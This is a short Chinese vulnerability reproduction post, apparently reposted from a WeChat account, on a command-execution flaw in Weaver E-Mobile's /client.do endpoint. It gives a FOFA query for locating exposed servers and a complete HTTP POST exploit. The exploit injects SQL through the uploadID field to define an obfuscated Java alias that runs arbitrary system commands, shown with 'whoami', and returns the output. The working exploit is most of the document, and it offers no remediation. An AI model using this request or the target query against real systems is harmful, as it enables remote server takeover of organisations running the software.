泛微E-Mobile-client.do存在命令执行漏洞

漏洞描述

泛微E-Mobile存在命令执行漏洞，攻击者可以通过/client.do执行任意命令执行，从而获得服务器权限。

资产测绘

FOFA："Weaver E-Mobile"

漏洞复现

POST /client.do HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTm8YXcJeyKDClbU7

------WebKitFormBoundaryTm8YXcJeyKDClbU7
Content-Disposition: form-data; name="method"
 
getupload
------WebKitFormBoundaryTm8YXcJeyKDClbU7
Content-Disposition: form-data; name="uploadID"
 
1';CREATE ALIAS if not exists MzSNqKsZTagmf AS CONCAT('void e(String cmd) throws java.la','ng.Exception{','Object curren','tRequest = Thre','ad.currentT','hread().getConte','xtClass','Loader().loadC','lass("com.caucho.server.dispatch.ServletInvocation").getMet','hod("getContextRequest").inv','oke(null);java.la','ng.reflect.Field _responseF = currentRequest.getCl','ass().getSuperc','lass().getDeclar','edField("_response");_responseF.setAcce','ssible(true);Object response = _responseF.get(currentRequest);java.la','ng.reflect.Method getWriterM = response.getCl','ass().getMethod("getWriter");java.i','o.Writer writer = (java.i','o.Writer)getWriterM.inv','oke(response);java.ut','il.Scan','ner scan','ner = (new java.util.Scann','er(Runt','ime.getRunt','ime().ex','ec(cmd).getInput','Stream())).useDelimiter("\\A");writer.write(scan','ner.hasNext()?sca','nner.next():"");}');CALL MzSNqKsZTagmf('whoami');--
------WebKitFormBoundaryTm8YXcJeyKDClbU7--

原文始发于微信公众号（漏洞文库）：【漏洞复现】泛微E-Mobile-client.do存在命令执行漏洞